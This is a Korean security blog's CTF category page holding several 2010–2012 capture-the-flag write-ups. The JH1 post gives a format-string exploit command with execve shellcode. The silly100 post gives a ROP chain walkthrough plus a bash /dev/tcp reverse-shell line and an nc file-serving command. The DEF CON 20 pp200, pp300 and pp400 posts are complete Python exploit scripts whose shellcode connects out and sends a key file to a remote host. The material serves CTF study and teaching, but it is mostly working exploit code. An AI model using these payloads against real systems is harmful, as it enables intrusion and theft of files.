Search results for 'CTF'

  1. 2012.11.28 -- Holyshield 2010 Write up 2
  2. 2012.08.11 -- JFF2 JH1 2
  3. 2012.08.06 -- jff2 silly100 5
  4. 2012.06.22 -- defcon20 bin200
  5. 2012.06.16 -- defcon20 pp400 exploit
  6. 2012.06.16 -- defcon20 pp300 exploit
  7. 2012.06.16 -- defcon20 pp200 exploit
  8. 2012.05.09 -- pctf 2012 format
  9. 2011.06.17 -- Defcon 19 b500 writeup
  10. 2010.11.10 -- ISEC 2010 level8 random array

Holyshield 2010 Write up

2012. 11. 28. 10:14

에.. 2 년이나 지난  writeup.

바이너리 파트만 맡아서 했었는데

내가 이런걸 썼었나 싶음


지금 보면 저 땐 참 열심히 했던거 같다.


그냥 블로그 한켠에 저장해 놓고 싶어 올림.



HolyShit.pdf



'CTF' 카테고리의 다른 글

JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF

JFF2 JH1

2012. 8. 11. 20:51

서버가 열려있길래 다른 문제도 풀어봄.


read /home/singi1/key :p


ADDR : challenge.b10s.org

PORT : 8899


SSH INFO

id : agent

pw : agent


바이너리를 받아 헥스레이로 오픈.



코드를 분석해보면

1) argv[1] 만큼 메모리 할당. 

2) argv[3] 를 할당 받은 메모리로 복사. 

3) argv[2] 만큼 다시 메모리 할당

4) printf 출력. -> format string bug


처음엔 free 하고 나면 할당받은 메모리 자체가 날라가는 줄 알아서 고민했는데

디버깅을 해보니 free 이후에도 힙에 쓰여진 값은 계속 유지되고 있었으며, 

free() 이후에 다시 malloc을 호출하면 처음에 할당받은 address를 그대로 재할당 받음.


결국 argv[3]에 payload를 넣으면 printf()로 heap의 내용을 출력할 때 fsb가 터진다는 것이 포인트.


취약점을 알았으니 공격해보자. 


먼저 서버 환경.



보이는 것처럼 랜덤 스택 &힙 &라이브러리. 


원래는 free@got 를 system 함수 주소로 overwrite해서 원하는 명령어를 실행시키려고 했으나 

브루트포스가 필요해서 패스.


다른 방법이 없을까 고민하다 문제 바이너리의 디스어셈블 코드를 보니 다음과 같았다.




마지막 free()의 파라미터로 eax를 esp로 집어넣는다. 

이 eax는 malloc으로 재 할당 받은 메모리를 가리키는 포인터로,

argv[3], 즉 페이로드가 있는 주소를 의미한다. eax 호출할 수 있는 gadget을 찾아보니 이런 놈이 보인다. 



그렇다면 free@got (0x0804a004)를 0x080485db로 바꿔주고 argv[3]에 쉘코드를 넣어놓으면 실행될 것이다. 

그전에 heap에 실행권한이 있는지 확인. 



다행히도 실행권한이 있다. 오예.


페이로드를 만들다 보면 랜덤스택인지라 런타임 때마다 argv의 주소가 바뀌어서 공격하기가 까다로울 것이다. 

이것은 heap spray와 유사하게 타겟 주소를 잔뜩 뿌려놓으면 해결된다. 


payload 구성


argv[1] : malloc으로 할당되는 사이즈. 넉넉하게 준다.  

argv[2] : 재할당될 사이즈 + free@got adress 반복 

argv[2] : shellcode(execve) + format string 


최종 payload.


///home/singi1/singi1 `python -c 'print "100000"+" 100000"+"\x04\xa0\x04\x08\x06\xa0\x04\x08"*11250+" "+"\x90\x90\x90\x90\x31\xc9\x8d\x41\x17\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"+"%2023c%5000$hn%32215c%5001$hn"'`





문제를 풀때마다 느끼지만 난 정말 fsb가 싫다.




'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF

jff2 silly100

2012. 8. 6. 17:49

문제 설명.


read /home/silly100/flag.txt :p


ADDR : challenge.b10s.org

PORT : 13301


binary : http://jff.b10s.org/files/silly100


* ASLR & NX are enabled on challenge server


* Server OS : Ubuntu 10.04


Binary를 받은 후 디스어셈블 해봤슴.





흠 사진에 액자를 넣어봤는데 캐구림.


내용은 매우 심플.


/home/silly100 로 경로를 바꾼후에 fgets로 입력을 받아서 stack에 strcpy .

친절하게도 입력값을 stack이 아닌 data 영역으로 받음. 


문제에 나와 있듯이 서버 환경은 다음과 같다. 


1) ascii armor + ASLR + NX

2) xinetd (소켓 코드가 없음)


그렇다면 rop로 사용할만한 payload는 3가지 정도.


1) open - read - write

   파일을 직접 읽어온다.


2) mprotect - jmp or call

   buffer에 쉘코드를 올려놓고 mprotect로 실행권한을 줘서 쉘코드를 실행.


3) system 함수 

  system 함수로 아래의 명령어를 실행.(reverse connection, nc)

   bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

   nc -l 7878 < /home/silly100/flag.txt

  

물농 나는 수컷답게 직접 열고 읽어오는 방법을 선택했다. 





chdir, puts, fgets의 GOT를 각각 open, read, write 함수를 가리키도록 바꿔주고

파라미터를 알맞게 배치해준후 chdir, puts, fgets의 plt를 호출할 것이다.


먼저, got overwrite. 


ASLR로 인해 라이브러리의 주소가 바뀌지만 함수 간의 오프셋은 바뀌지 않는다. 


0x1ec8d0 <chdir> - 0x1eb750 <open>=  -0x1180


그러므로 chdir의 주소에 -0x1180(0xFFEEEE80)을 더하면  open 함수를 가리키게 된다. 

따라서 타겟 함수들의 주소를 오버라이트 하기 위해선 더하거나 빼는 명령어가 필요하다.


필요한 '개짓'(gadget)은 꼴리는 방법으로 찾는다!


1) objdump + grep 으로 검색

    ex) objdump -d silly100 | grep pop -A 3

          objdump -d silly100 | grep pop -B 3


2) ropeme


또 바이너리에서 원하는 값이 있는 주소를 확인하고 싶을땐 gdb의 find 명령어를 이용하자.


ex) (gdb) find /b 0x08048134,0x0804a040,0x00



마침 사용하기에 딱 좋은 놈이 보인다.


0x80484ce: add [ebx+0x5d5b04c4] eax ;;


이 명령어를 사용하기 위해선 ebx 와 eax를 핸들링 할수 있어야 한다.

ebx, eax 관련 명령어를 찾아보니.. 이런 명령어가 있다.


0x80483cc: pop eax ; pop ebx ; leave ;;


다 좋은데 leave 때문에 ebp를 스택에 맞게 지정해줘야한다.


따라서 custom stack으로 페이로드를 미리 복사(strcpy)한 후에, 


[strcpy][pop pop ret][dst][src]

0x08048420    strcpy@plt

0x08048607    pop %ebx; pop %ebp;;


다음 명령어들로 실행흐름을 넘겨줄 것이다. 


0x8048573: pop ebp ;;

0x08048501: leave ;;


마지막으로 custom stack을 구성하기위해 고정된 rw 권한이 있는 메모리 영역을 찾아보자.


24] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4


(0804a01c부터 하니 값이 제대로 안들어가서 0804a025로 복사.)






앞서 알아낸 정보들로 구성된 대략적인 페이로드는 이런 모양이 된다.


0x08048573     pop %ebp; ret;
0x0804a025     ebp
0x08048501     leave; ret;

#custom stack

0x0804a025       ebp 0x0804a031

0x0804a029       pop eax, pop ebx, leave

0x0804a02d       eax

0x0804a031       ebx

0x0804a035       add [ebx+0x5d5b04c4] eax; ret

0x0804a039       pop ebp

0x0804a03d      ebp 0x0804a045

0x0804a041      leave ret

0x0804a045      ebp 0x0804a051

0x0804a049      pop eax, pop ebx, leave

0x0804a04d      eax

0x0804a051      ebx

0x0804a055      add [ebx+0x5d5b04c4] eax; ret

0x0804a059      pop ebp

0x0804a05d      ebp  0x0804a065

0x0804a061      leave ret            

0x0804a065      ebp 0x0804a071

0x0804a069      pop eax,  pop ebx, leave

0x0804a06d      eax

0x0804a071      ebx

0x0804a075      add [ebx+0x5d5b04c4] eax; ret

0x0804a079      pop ebp

0x0804a07d      ebp 0x0804a085

0x0804a081      leave ret

0x0804a085      padding

...

...

#call open read write

[chdir@plt][pop pop ret][filename][flag]

[puts@plt][pop pop pop ret][fd][buffer][size]

[fgets@plt][pop pop pop ret][fd][buffer][size]




open 된 fd 는 디버깅을 통해서 알아내었고, (귀찮으면 걍 찍어도 된다.)
읽은 값을 뿌려줄 fd가 문제였는데 검색해보니 xinetd는 클라이언트와 연결된 소켓으로 0을 사용한다고 알려주었다.

하지만 위와 같이 페이로드를 구성해서 그대로 입력하면 버퍼 사이즈인 0x400을 초과하므로

페이로드 사이즈를 줄이기 위해 필요한 주소값을 그대로 페이로드의 뒷부분에 박아넣었다. 


완성된 exploit는 로컬 환경에서는 문제없이 파일을 읽어왔는데 정작 문제 서버는 아무런 응답이 없었다.

이놈이 나를 무시하나 라는 생각이 들어 페이로드를 왕창왕창 바꿔가며 시도해봤는데도 묵묵부답.


멘붕에 신음하다 혹시나 하는 생각에 ubuntu 10.04를 새로 받아 돌려보니.. 아뿔싸!!!!!


libc에서 함수들의 offset이 다르다. 헐 

다시 계산해서 돌리니 바로 성공...


glibc 버전도 같은데 왜 이런 현상이 일어나는지 모르겠다. 

다만 원래 테스트한 ubuntu는 업데이트 꼬박꼬박 해가며 써온지 좀 오래되서 뭔가 다를거라 생각한다. 



silly100_ex.py




'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
JFF2 JH1  (2) 2012.08.11
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF

defcon20 bin200

2012. 6. 22. 02:39
#include <stdio.h>

int main(int argc, char *argv[])
{
	char fname[] = "c:\\mac.h";
	char buf[1024] = {0};
	FILE* fp;
	int ret = 0;

	fp = fopen(fname, "r");
	if (fp < 0)
	{
		printf("fopen error\n");
		return -1;
	}
	ret = fread(buf,1,991, fp);
	
	printf("buf: %s\n\n", buf);

	__asm{
		xor ecx, ecx
		mov edx, 1
		lea eax, dword ptr buf
		xor ebx, ebx
		dec eax
		dec ecx
#if 1 
badcob:
		inc eax
		inc ecx
		mov bl, byte ptr ss:[eax]
		not bl
		mov byte ptr ss:[eax], bl
		cmp ecx, 0x3df
		jnz badcob		
#endif
	}

		

	printf("buf: %s\n", buf);
	fclose(fp);
	return 0;
}

'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF

defcon20 pp400 exploit

2012. 6. 16. 14:14

http://blog.oxff.net/posts/DefCon%2020%20CTF%20Qualifications%3A%20pp400-anvszwpmjdyizhsqgngq.html 참조.



#!/usr/bin/python2.6
#defcon 2012, pp400 exploit - badcob

import socket,sys
import struct
import time

def rc4_initialize(key,x,y):
    tmp = range(255,-1,-1)
    for i in range(0, 256):
        y = (y + tmp[x] +(ord(key[x & 0xf]))) & 0xff
        tmp[x],tmp[y] = tmp[y], tmp[x]
        
    return tmp

def rc4_pop_key(tmp, x, y):
    x = (x+1) & 0xff
    y = (y+tmp[x]) & 0xff
    tmp[x], tmp[y] = tmp[y], tmp[x]
    return tmp[(tmp[x]+tmp[y]) && 0xff], x, y

#shellcode 
sc = "\x83\xC4\x70\x6A\x61\x58\x99\x52\x6A\x01\x6A\x02\x50\xCD\x80\x96\x6A\x62\x58\x68\xD2\x00\x3C\xEB\x68\xAA\x02\x27\x0F"
sc += "\x89\xE3\x6A\x10\x53\x56\x50\xCD\x80\x6A\x05\x58\x52\x68\x2F\x6B\x65\x79\x68\x2E\x2F\x2F\x2F"
sc += "\x89\xE3\x52\x53\x50\xCD\x80\x97\x6A\x03\x58\x6A\x40\x53\x57\x50\xCD\x80\x50\x6A\x04\x58\x53\x56\x50\xCD\x80"

#stack address to overwrite
stack_address = 0xbfbfe9fc

#make payload
payload = []
sc += '\x90'
print len(sc)

while sc != '':
    payload.append(struct.unpack('<I', sc[:4])[0])
    sc = sc[4:]

#nop sled + shellcode
#0x42 : inc edx
payload = [0x90909090 for i in range(0,128-len(payload))] + payload
payload += [0x42424242 for i in range(0,248-128)]  
payload += [0xbfbfe9fc]

total_count = len(payload)
current_count = 0

#rc4 initialize
global tmp, x, y
x = 0
y = 0
key = '\xb6\x3d\x15\x3a\x04\x15\x69\x72\x45\xfe\xc2\x7f\x12\x78\xd7\x82'
tmp = rc4_initialize(key,x,y)
print tmp
print len(tmp)

#host, port 
host = '192.168.74.134'
port = 4016

def init(host,port):
    b = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    b.connect((host,port))  
    return b

s = init(host,port)

passwd = 'b366e2776ce9efff'+'\x0a'
s.send(passwd)
print s.recv(256)
sys.stdout.flush()

for i in payload:
    print current_count, hex(i)
    data_list = []
    data = str(struct.unpack('<f', struct.pack('<I', i))[0])
    data = data[::-1]
    for j in data:
        value, x, y = rc4_pop_key(tmp, x, y)
        data_list.append(chr(ord(j) ^ value))
    data_list.reverse()
    data = ''.join(data_list)
    print data.encode('hex')
    try:
        s.send(data.encode('hex')+'\x0a')
    except:
        print 'float error:', i, hex(i), '[+]' + data.encode('hex') + '[+]'
        break
    current_count += 1

'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF

defcon20 pp300 exploit

2012. 6. 16. 14:10
#!/usr/bin/python2.6
#defcon 2012, pp300 exploit - badcob

import socket, sys
from struct import pack 

def make_connection(host,port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    return s

def make_payload(scode):
    #padding 1 byte : shellcode length 79byte
    scode += "\x90"

    #move byte ptr ss:[ebp+x], shellcode 1 byte
    mov_byte_ptr = "\xc6\x45"    
    tmp = ''
    count = 0
    for x in scode:
        tmp += mov_byte_ptr + chr(count) + x
        count += 0x1

    #call ebp
    call_ebp = "\xff\xd5\x90\xff"
    return tmp + call_ebp
    
    
#shellcode
scode = "\x83\xC4\x70\x6A\x61\x58\x99\x52\x6A\x01\x6A\x02\x50\xCD\x80\x96\x6A\x62\x58\x68\xD2\x00\x3C\xEB\x68\xAA\x02\x27\x0F"
scode += "\x89\xE3\x6A\x10\x53\x56\x50\xCD\x80\x6A\x05\x58\x52\x68\x2F\x6B\x65\x79\x68\x2E\x2F\x2F\x2F"
scode += "\x89\xE3\x52\x53\x50\xCD\x80\x97\x6A\x03\x58\x6A\x40\x53\x57\x50\xCD\x80\x50\x6A\x04\x58\x53\x56\x50\xCD\x80"

host = "192.168.74.134"
port = 7548

num = "3c56bc31268ac65f" + "\x0a"

#make payload
payload = make_payload(scode)

s = make_connection(host,port) 
s.send(num)
s.send(payload)

'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF

defcon20 pp200 exploit

2012. 6. 16. 14:08
#!/usr/bin/python2.6
#defcon 2012, pp200 exploit - badcob

import socket, sys
from struct import pack 

def make_connection(host,port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    return s

#shellcode
scode = "\x83\xC4\x70\x6A\x61\x58\x99\x52\x6A\x01\x6A\x02\x50\xCD\x80\x96\x6A\x62\x58\x68\xD2\x00\x3C\xEB\x68\xAA\x02\x27\x0F"
scode += "\x89\xE3\x6A\x10\x53\x56\x50\xCD\x80\x6A\x05\x58\x52\x68\x2F\x6B\x65\x79\x68\x2E\x2F\x2F\x2F"
scode += "\x89\xE3\x52\x53\x50\xCD\x80\x97\x6A\x03\x58\x6A\x40\x53\x57\x50\xCD\x80\x50\x6A\x04\x58\x53\x56\x50\xCD\x80"

host = "192.168.74.134"
port = 8912

num = "b74b9d86e6cd3480" + "\x0a"
user_id = "a6" + "\x0a"
ret = "\xbc\xe2\xbe\xbf"

#make payload
temp = "\x90"*416+scode+"\x90"*17+"\x0f"
temp += ret + "\x0a"

payload = ''

for x in temp:
    a = ord(x)^0xa6
    if a == 0xa:
        print "failed"
        break
    payload += chr(a)

s = make_connection(host,port) 
s.send(num)
print s.recv(128)
s.send(user_id)
print s.recv(128)
s.send(payload)

'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF

pctf 2012 format

2012. 5. 9. 12:03
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Defcon 19 b500 writeup

2011. 6. 17. 01:22



라스베가스가 코 앞까지 왔었는데..

'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF

ISEC 2010 level8 random array

2010. 11. 10. 17:48
ISEC 2010 prequal 8번이었나 random array 로 bruteforce 하는  문제 .
난수 반복 때문에 한참 헤메다가 cpu 클럭으로 생성하게 함.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>


#define RAN_SIZE   28 
#define TRUE        1
#define RESULT      "result" 

int main(void)
{
    char buf[28] = { };
    char tmp[28] = { };
    char last[28] = {};

    char x[16] = { };
    char y[16] = { };

    char str[32] = "6445666F485F6CF526CC5457F3A4";

    int rand_num = 0;
    int len = 0;
    int count;
    int status = 0;
    int flag = 0;
    int i;

    FILE *fp;

    pid_t pid;
    clockid_t clock_id;
    long ret;
    char ptr = NULL;
    struct timespec t;

    pid = getpid();


    fp = fopen(RESULT, "a+");
    memcpy(buf,str,28);

    while(TRUE) {

        //get cpu clock
        clock_getcpuclockid(pid, &clock_id);
        clock_gettime(clock_id, &t);

        srand(t.tv_nsec);

        //shuffling the array

        do { 
            rand_num = rand() % RAN_SIZE;
            count = 0;
            if (len <= 0)
                goto LABEL_1;
            do {
                if (tmp[count] == rand_num) {
                    status = 1;
                }
                ++count;
            } while (count < len);

            if (status) {
                status = 0;
            }
            else {
LABEL_1:
                tmp[len++] = rand_num;
            }         
        } while (len < 28);

      // is it printable?
        for (i = 0; i < len; i=i+2) {
            sprintf(x,"%c%c",buf[tmp[i]],buf[tmp[i+1]]);
            ret = strtol(x,&ptr,16);
            sprintf(y,"%c",ret);
            if (( *y < 0x1f) || (*y > 0x7e)) {
                flag = 1;
                break;
            }
            strcat(last,y);
        }
        
        if (!flag) {
            fprintf(fp,"%s\n",last);
        }

        status = 0;
        len = 0;
        count = 0;
        rand_num = 0;
        flag = 0;
        memset(x,0x00,sizeof(x));
        memset(y,0x00,sizeof(y));
        memset(last,0x00,sizeof(last));
    }
    fclose(fp);
    return 0;
}


Python 으로는 아래처럼 random.shuffle 로 돌리면 된다.
import random, re

s = '6445666F485F6C5F6C2C54573F4A'

ran = []
for x in range(28):
    ran.append(str(x))

random.shuffle(ran)

'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17

badcob CTF